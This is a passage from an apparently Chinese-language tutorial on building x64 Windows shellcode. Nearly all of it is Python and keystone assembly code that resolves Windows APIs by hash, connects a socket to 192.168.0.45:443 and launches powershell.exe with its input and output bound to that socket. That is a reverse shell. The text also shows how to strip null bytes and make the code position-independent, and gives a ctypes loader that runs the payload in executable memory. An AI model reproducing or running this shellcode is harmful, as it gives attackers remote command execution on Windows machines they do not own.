                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))








去除 0x00 字节


image.png

为了能更加直观地对应需要修改的指令,我们可以访问 https://defuse.ca/online-x86-assembler.htm#disassembly 在线工具

以下这些指令得到的机器码包含 0x00 字节

call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov     r12, 45004E00520045h
mov     r13, 2E00320033004Ch
mov     r12, 65006E00720065h
mov     r13, 2E00320033006Ch
mov     r15d, dword ptr [r9+rcx+88h]
mov     rax, 6C6Ch
mov     rcx, 202h
mov     rcx, 2
mov     rdx, 1
mov     r8, 6
sub     rsp, 200h
mov     rdx, 2
mov     rdx, 0BB01h
mov     rdx, 2D00A8C0h
mov     r8, 16h
mov     rdx, 6578652E6C6Ch
mov     rdx, 100h
mov     rdx, 68h
sub     rdx, 500h

对于 mov r12, 0x0045004e00520045 指令,我们可以换成:

mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;

这样,就没有 0x00 字节了。

image.png

对于 mov rcx, 2 这样数值较小的赋值操作,我们可以赋值负数再使用 neg 指令获得符号相反的数值:

image.png

mov rcx, 0xfffffffffffffffe;
neg rcx;

这样,我们也是消除了 0x00。

image.png


就像这样,除了函数调用指令的 0x00 字符外,其余部分修改好的如下:

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   int3;"
"   call find_kernel32;"
"   mov rbp, rax;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   call parse_module;"    # Search GetProcAddress' address
"   mov r13, rax;"    # R13 = GetProcAddress Address
"   call load_module;"    # Load ws2_32.dll

" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"

#"   mov r12, 0x0045004E00520045;"    # Unicode string "ENRE"
"   mov r12, 0x1055105E10621055;"    # Elimate 0x00 1-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 1-2
"   sub r12, rax;"    # Elimate 0x00 1-3

#"   mov r13, 0x002e00320033004c;"    # Unicode string ".23L"
"   mov r13, 0x103e10421043105c;"    # Elimate 0x00 2-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 2-2
"   sub r13, rax;"    # Elimate 0x00 2-3

"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"

" check_lower:"
#"   mov r12, 0x0065006E00720065;"    # Unicode string "enre"
#"   mov r12, 0x1075107E10821075;"    # Elimate 0x00 3-1
#"   mov rax, 0x1010101010101010;"    # Elimate 0x00 3-2
#"   sub r12, rax;"    # Elimate 0x00 3-3
#
#"   mov r13, 0x002e00320033006c;"    # Unicode string ".23l"
#"   mov r13, 0x103e10421043107c;"    # Elimate 0x00 4-1
#"   mov rax, 0x1010101010101010;"    # Elimate 0x00 4-2
#"   sub r13, rax;"    # Elimate 0x00 4-3
#
#"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
#"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
#"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
#"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
#"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
#"   jne next_module;"    # If not equal, move to next module
#"   mov rax, r9;"    # Save Dll Base in RAX as the return value
#"   ret;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
#"   mov r15d, dword ptr [r9 + rcx + 0x88];"    # Fetch RVA of Export Directory
"   xor r15, r15;"
"   mov r15b, 0x88;"
"      add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"


"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"


" load_module:"
#"   mov rax, 0x6c6c  ;"   # Move "ll" into RAX
"   xor rax, rax;"
"   xor r13, r13;"
"   mov ax, 0xffff;"    #
"   mov r13w, 0x9393;"
"   sub rax, r13;"


"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   add rsp, 0x10;"     # Clean up WS2_32.DLL string
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"

"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
#"   mov rcx, 0x202;"    # wVersionRequired 
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x3333;"
"   mov r13w, 0x1111;"
"   sub rcx, r13;"

"   sub rsp, 0x58;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x58;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x58;"
#"   mov rcx, 2;"    # 2
"   xor rcx, rcx;"
"   inc rcx;"
"   inc rcx;"

#"   mov rdx, 1;"    # 1
"   xor rdx, rdx;"
"      inc rdx;"

#"   mov r8, 6;"    # 6
"   xor r8, r8;"
"   mov r8b, 0xfffa;"
"   neg r8b;"

"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x58;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
#"   sub rsp, 0x200;"    # Reserve space for socketaddr
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"



"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
#"   mov rdx, 2    # AF_INET = 2
"   xor rdx, rdx;"
"   inc rdx;"
"   inc rdx;"    

"   mov [rsp], rdx;"    # Store structure socketaddr
#"   mov rdx, 0xbb01;"    # Port 443 01bb
"   xor rdx, rdx;"
"   mov dx, 0xbb01;"


"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
#"   mov rdx, 0x2d00a8c0;"    # IP  192.168.0.45
"   mov edx, 0x3d10b8d0;"
"   sub edx, 0x10101010;"



"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
#"   mov r8, 0x16;"    # namelen = 16 bytes
"   xor r8, r8;"
"   mov r8w, 0x2610;"
"   sub r8w, 0x1010;"


"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x58;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x58;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
#"   mov rdx, 0x6578652e6c6c;"    # Push string "exe.ll"
"   mov rdx, 0x10107588753e7c7c;"
"   mov r13, 0x1010101010101010;"
"   sub rdx, r13;"


"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
#"   mov rdx, 0x100;"     
"   mov dx, 0x1110;"
"   sub dx, 0x1010;"


"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
#"   mov rdx, 0x68;"
"   mov dl, 0x68;"


"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
#"  sub rdx, 0x500;"
"   sub dl, 0x68;"

"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"   
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)
sc = ""
print("Length of shellcode: "+str(len(encoding)))


for dec in encoding: 
  sc += "\\x{0:02x}".format(int(dec)).rstrip("\n")
  
print(sc)


PIC 代码

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   int 3;"
" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"

"   mov r12, 0x1055105E10621055;"    # Elimate 0x00 1-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 1-2
"   sub r12, rax;"    # Elimate 0x00 1-3
"   mov r13, 0x103e10421043105c;"    # Elimate 0x00 2-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 2-2
"   sub r13, rax;"    # Elimate 0x00 2-3
"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   jmp jump_proxy;"
" check_lower:"
"   mov r12, 0x1075107E10821075;"    # Elimate 0x00 3-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 3-2
"   sub r12, rax;"    # Elimate 0x00 3-3
"   mov r13, 0x103e10421043107c;"    # Elimate 0x00 4-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 4-2
"   sub r13, rax;"    # Elimate 0x00 4-3
"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
"   jne next_module;"    # If not equal, move to next module

" jump_proxy:"
"   jmp jump_section;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   xor r15, r15;"
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"
"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"

" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"      sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address



" load_module:"
"   xor rax, rax;"
"   xor r13, r13;"
"   mov ax, 0xffff;"    #
"   mov r13w, 0x9393;"
"   sub rax, r13;"
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"
"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x1313;"
"   mov r13w, 0x1111;"
"   sub rcx, r13;"
"   sub rsp, 0x50;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x50;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x50;"
"   xor rcx, rcx;"
"   inc rcx;"
"   inc rcx;"
"   xor rdx, rdx;"
"   inc rdx;"
"   xor r8, r8;"
"   mov r8b, 0xfffa;"
"   neg r8b;"
"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x50;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   xor rdx, rdx;"
"   inc rdx;"
"   inc rdx;"    
"   mov [rsp], rdx;"    # Store structure socketaddr
"   xor rdx, rdx;"
"   mov dx, 0xbb01;"
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov edx, 0x3d10b8d0;"
"   sub edx, 0x10101010;"
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   xor r8, r8;"
"   mov r8w, 0x2610;"
"   sub r8w, 0x1010;"
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x50;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x50;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x10107588753e7c7c;"
"   mov r13, 0x1010101010101010;"
"   sub rdx, r13;"
"   sub rsp,0x18;"
"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
"   mov dx, 0x1110;"
"   sub dx, 0x1010;"
"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov dl, 0x68;"
"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub dl, 0x68;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"
)


# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))


减少字节数


改善寻找 Kernel32.dll 的方法


import ctypes, struct
from keystone import *

CODE = (
" locate_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
"   mov r9, [rsi];"    # python.exe
"   mov r9, [r9];"    # ntdll.dll
"   mov r9, [r9+0x20];"    # kernel32.dll
"   jmp jump_section;"    # Achieve PIC

" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   xor r15, r15;"    # Fetch RVA of Export Directory
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"
"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT

" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name

" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag

" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte

" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"

" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address

" load_module:"
"   xor rax, rax;"    # Move "ll" + 0x9393 into RAX
"   xor r13, r13;"
"   mov ax, 0xffff;"    # Recover "ll"
"   mov r13w, 0x9393;"
"   sub rax, r13;"
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll" s
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"
"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x1313;"    # wVersionRequired = 0x202 + 0x1010
"   mov r13w, 0x1111;"    # Recover 0x202
"   sub rcx, r13;"
"   sub rsp, 0x50;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x50;"    # Recover the stack

" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x50;"   
"   xor rcx, rcx;"    # AF_INIT =2 as the 1st argument
"   inc rcx;"
"   inc rcx;"
"   xor rdx, rdx;"
"   inc rdx;"   # SOCK_STREAM = 1 as the 2nd argument
"   xor r8, r8;"   
"   mov r8b, 0xfffa;"    # rb 8= -6
"   neg r8b;"    # IPPROTO_TCP = 6 as the 3rd argument
"   xor r9, r9;"    # lpProtocolInfo = 0 as the 4rd argument  
"   mov [rsp+0x20], r9;"   # g = 0 as the 5th argument
"   mov [rsp+0x28], r9;"    # dwFlags = 0 as the 6th argument
"   call rax;"    # Call WSASocketA
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x50;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"    # Reserve 0x200 bytes for SocketAddr (Overkill)
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   xor rdx, rdx;"    # sin_family = AF_INET = 2 as the 1st member in sockaddr structure
"   inc rdx;"
"   inc rdx;"    
"   mov [rsp], rdx;"    # Store structure socketaddr
"   xor rdx, rdx;"    # Port 443 01bb as the 2nd member in sockaddr structure
"   mov dx, 0xbb01;"
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov edx, 0x3d10b8d0;"    # IP = 192.168.0.45 + 0x10101010 as the 3rd member in sockaddr structure
"   sub edx, 0x10101010;"    # Recover IP address
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   xor r8, r8;"
"   mov r8w, 0x1026;"    
"   sub r8w, 0x1010;"    # namelen = 16 bytes as the 3rd argument 
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
